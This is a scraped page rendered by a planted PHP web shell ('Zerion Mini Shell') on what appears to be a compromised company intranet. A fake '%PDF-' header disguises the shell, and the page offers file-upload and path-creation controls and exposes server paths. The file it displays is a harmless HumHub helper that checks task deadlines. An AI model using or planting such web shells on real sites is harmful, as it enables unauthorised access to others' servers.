%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/tasks/components/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/tasks/components/TaskHelper.php

<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace humhub\modules\tasks\components;

use DateTime;
use humhub\modules\tasks\models\Task;

/**
 * Description of TaskHelper
 *
 * @author Luke
 */
class TaskHelper
{

    public static function isOverdue(Task $task)
    {
        if (!$task->hasDeadline()) {
            return false;
        }

        if (new DateTime($task->deadline) > new DateTime()) {
            return false;
        }

        return true;
    }

}

Zerion Mini Shell 1.0